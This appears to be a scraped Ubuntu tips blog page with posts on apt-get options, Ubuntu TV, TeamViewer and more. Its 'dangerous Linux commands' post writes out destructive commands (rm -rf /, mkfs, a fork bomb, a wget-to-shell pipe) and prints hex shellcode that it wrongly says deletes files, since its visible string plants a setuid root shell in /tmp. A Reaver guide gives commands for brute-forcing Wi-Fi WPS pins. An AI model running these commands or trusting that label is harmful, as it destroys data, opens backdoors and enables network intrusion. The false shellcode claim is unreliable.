| No comment yet

5 apt-get Option You Should Know (Ubuntu)

Apt-get is a small command of linux which have great function that is install application to the system, apt-get (aptitude) is previously used in debian but now it's available in every linux distro (or at least some application with similar functions eg:yum). In ubuntu apt-get is also used by other programs (collaborated) like synaptics and Ubuntu Software Center, but more than that, apt-get it self contain/have important options that are often missed by user. Here a some important apt-get option that you should know



dist-upgrade
Function : this option is use when we need upgrade Package and "Distribution", if you want to upgrade Ubuntu 11.10 to ubuntu 12.04 this is a simple option to get upgraded from terminal, what's differences from upgrade (apt-get upgrade) ?. The dist-upgrade option not only will upgrade all of the currently installed packages but will upgrade all dependencies that depend on its.
Example of using :

root@penreturns:~$ apt-get dist-upgrade

--no-install-recommends
Function : this option is use to don't consider recommended packages. When we do apt-get install system will recommends you to install other package that have close function or depend on its, this action will cause you download larger files than you need, when you have a limited connection of course this will be a serious problem. So this option will give you a solution.
Example of using :
root@penreturns:~$ apt-get install <name of application>  --no-install-recommends
apt-get install without --no-install-recommends (see additional space will use)


apt-get install with --no-install-recommends (see the different)

--install-suggests
Function : this function is the reverse --no-install-recommends option above, this consider suggested packages as a dependency for installing.
Example of using :
root@penreturns:~$ apt-get install <name of application>  --install-suggests

-f, --fix-broken
Function : this option is use when you get broken dependencies when install, remove, or upgrade package, apt-get -f attempt to correct a system with broken dependencies at the time you got broken dependencies. your apt will stop working when get broken dependencies, and this option is a solution to get it run again.
Example of using : 
root@penreturns:~$ apt-get install -f
root@penreturns:~$ apt-get upgrade -f  
root@penreturns:~$ apt-get dist-upgrade -f
    --purge
    Function : this function is use to complete remove application/package from your system, complete remove means it's will remove all application including its configuration file. I used to use this option rather than apt-get remove without purge option, remove --purge is equivalent to the purge command.
    Example of using :
    root@penreturns:~$ apt-get remove --purge <name of application>
    There are a lot of necessary option you can find in apt-get, as far as I'm noticed 5 option above is most frequently option that  I usually use and often missed by other.

    Enjoy!

    *copy code without root@penreturns:~$ 
    | No comment yet

    7 Most Dangerous Linux Commands

    If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)


    First command:
    • rm -rf / #with root privilege such as 'sudo'
    This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:




    Second command:
    • char esp[] __attribute__ ((section(".text"))) /* e.s.p
    • release */
    • = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    • "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    • "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    • "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    • "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    • "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    • "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    • "cp -p /bin/sh /tmp/.beyond; chmod 4755
    • /tmp/.beyond;";
    Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.

    Third command:

    • mkfs.ext3 /dev/sda

    This command will format your /dev/sda device and of course will delete all files on it.

    Fourth command:

    • :(){:|:&};:

    Will run too many processes on your system and causes the computer hang up!

    Fifth command:

    • any_command > /dev/sda

    Will write a raw data and all files on /dev/sda will be replaced by the raw data.

    Sixth command:

    • wget http://sumber_tak_bole_caye -O- | sh

    Wil download a shell script from untrusted source and run it when the download finished.

    Seventh command:

    • mv /home/username/* /dev/null

    Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.

    So be careful and do a check before running such commands on your system. RCcool
    | No comment yet

    [How to] Install Ubuntu TV via PPA


    There’s a good chance that following all of the screenshots and videos of Ubuntu TV you’d like nothing more than to play with it yourself.
    The good news is that you can – but there are drawbacks to caressing your curiosity; you will need to sacrifice the Unity-2D session.
    Content with that? You crazy fool – use Virtualbox or an installation you’re content with borking.

    How to Install Ubuntu TV in Ubuntu

    This is development software. Do not install unless you are competent enough to revert any or all changes made.
    The Ubuntu Wiki provides instructions for compiling the latest code manually. This is the recommended way to test Ubuntu TV.
    But, for the lazy amongst you, the Ubuntu TV code has also been packaged up into a PPA by Alin Andrei.
    The PPA provides Ubuntu TV packages for Ubuntu 11.10 32bit and 64bit only. If you’re using an earlier version of Ubuntu you can droop you head in disappointment anytime about now.
    So, on to installing. Open a new Terminal window and run the following three commands. Be sure to let each one finish before trying to run the next.
    • sudo add-apt-repository ppa:nilarimogard/test3
    • sudo apt-get update && sudo apt-get install unity-2d
    • sudo apt-get install unity-lens-video
    As Ubuntu TV can’t be run from the Unity 2D session you will only be able to run the prototype in Ubuntu itself. Assuming you’re in Unity run the following command: -
    • unity-2d-shell –opengl
    The Ubuntu TV interface will now open. To close it just Alt+Tab back to the Terminal you ran the command from and press CTRL+C.

    Using Ubuntu TV

    Ubuntu TV is by no means finished or – don’t hate me – fully functional.
    But there are enough features present to play around with to enable you can to get the ‘feel’ of how it all works – just be sure to go in with your eyes open.
    For your own videos to show up in the shell you will need to place them in the following folders: -
    • ~/Videos/unity/local/featured
    • ~/Videos/unity/local/rented
    • ~/Videos/unity/local/purchased
    • ~/Videos/unity/local/recorded
    And for video thumbnails to be generated and displayed the following command run: -
    • /usr/lib/unity-lens-video/create_tmb.sh ~/Videos/
    Via : http://www.omgubuntu.co.uk
    | No comment yet

    How to install Reaver on Ubuntu

    Reaver performs a brute force attack against an access point's WiFi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP's wireless settings can be reconfigured. While Reaver does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known. 


    Download Source

    First you need to download the latest source from http://code.google.com/p/reaver-wps/
    wget http://reaver-wps.googlecode.com/files/reaver-1.3.tar.gz
    Extract the tarball
    tar -xzvf reaver-1.3.tar.gz

    Install Required Libraries and Tools

    Before you can build Reaver you need pcaplib and later on aircrack-ng to run Reaver
    sudo apt-get install libpcap-dev aircrack-ng sqlite3 libsqlite3-dev

    Compile and Install

    Build Reaver
    cd reaver-1.3
    cd src
    ./configure
    make
    Install Reaver
    sudo make install

    Run

    Reaver is now installed and ready to use. You will first need to put the wifi adapter info monitor mode before you can start and the most easiest way is to use airmon-ng (part of aircrack-ng) that you just installed.
    First put your adapter info monitor mode, in my case it’s wlan0
    sudo airmon-ng start wlan0
    Run Reaver
    sudo reaver -i mon0 -b 00:00:00:00:00:00
    Replace MAC 00:00:00:00:00:00 with the actual AP:s MAC address to crack

    | No comment yet

    Muse - Resistance (Tiësto Remix)



    I don't own this video, no copyright intended.

    ENJOY!
    | No comment yet

    How to install TeamViewer in Ubuntu 11.10



    TeamViewer is one of the most popular remote desktop application – it is available for Windows, Mac and as well as popular Linux based distributions.

    Installing TeamViewer in Ubuntu 12 (or Linux Mint 12 as it’s based on Ubuntu 11.10)

    I’m not sure whether it’s available in Ubuntu Software Center through some PPA but the debian package (*.deb) is available there on its official website.




    To install Teamviewer, simply open the deb package with Ubuntu Software Center or Debian Package Installer (in older version or Mint) and click on install to begin the download/installation process. It will be completed in few minutes (depending on your internet speed).

    Enjoy!